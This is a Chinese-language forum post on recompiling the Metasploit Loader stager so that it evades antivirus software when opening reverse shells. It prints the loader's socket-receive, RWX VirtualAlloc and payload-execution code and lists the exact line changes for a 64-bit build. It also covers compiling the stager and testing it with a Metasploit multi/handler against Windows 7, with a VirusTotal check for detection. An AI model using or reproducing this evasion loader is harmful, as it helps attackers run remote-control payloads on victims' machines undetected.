本帖最后由 gclome 于 2020-9-29 15:42 编辑
原文链接:通过Metasploit Loader绕过杀软
前言
在平时的HVV网中,我们使用nc或者ncat在反弹shell或者使用cs的时候一般不能绕过杀软或者专门的HVV网进程,这里我们从新编译Metasploit Loader来绕过一定量的杀毒软件
No.1 分析
我们打开main.c的代码进行分析
- SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
- /*首先,代码先用SOCKET建立一个握手包*/
- int count = recv(my_socket, (char *)&size, 4, 0);
- if (count != 4 || size <= 0)
- punt(my_socket, "read a strange or incomplete length value\n");
- /*然后将前4个字节分配RWX缓冲区.*/
- buffer = VirtualAlloc(0, size + 10, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (buffer == NULL)
- punt(my_socket, "could not allocate buffer\n");
- /*原代码中,这里是偏移5位,这里我们修改偏移10位,*/
- buffer[0] = 0x48;
- buffer[1] = 0xBF;
-
- memcpy(buffer + 2, &my_socket, 8);
- /*然后将socket的值复制到缓冲区*/
-
- count = recv_all(my_socket, buffer + 10, size);
- /*最后将字节读入缓冲区*/
复制代码
1.首先接收字节缓冲区大小
2.开辟内存
3.socket里的值复制到缓冲区中去
4.读取字节到缓冲区
5.执行DLLMain
6.退出
然后我们在下面编译的时候为了免杀,对接受对字节和复制对socker的值进行了修改
No.2、编译 我们通过查看Metasploit-Loader自带的main.c代码,链接如下
Use Link: Metasploit-Loader https://github.com/rsmudge/metasploit-loader/Use main.c: https://raw.githubusercontent.com/rsmudge/metasploit-loader/master/src/main.c
然后复制出其中对main.c到本地编译器上,然后修改其中到一些bug.
- 首先我们需要调整其头文件,将# include <winsock2.h>调整到# include <windows.h>前一行,这个是代码本身的bug
- 107行,其中的size +5 替换为 size + 10
- 114行,其中的 buffer[0] = 0xBF; 修改为 buffer[0] = 0x48
- 115行,添加 buffer[1] = 0xBF;
- 118行,将 memcpy(buffer + 1, &my_socket, 4); 修改为 memcpy(buffer + 2, &my_socket, 8);
- 121行, 将count = recv_all(my_socket, buffer + 5, size); 修改为 count = recv_all(my_socket, buffer + 10, size);
然后使用gcc或者其他IDE进行编译
在边缘的时候需要使用到参数-lws2_32
No.3测试
在kali中,使用multi handler,然后使用我们的Loder64.exe,
然后Windows7反弹一个shell连接到Reverse Shell
最后我们可以将我们的exe上传到vt上测试一下是否会爆毒
|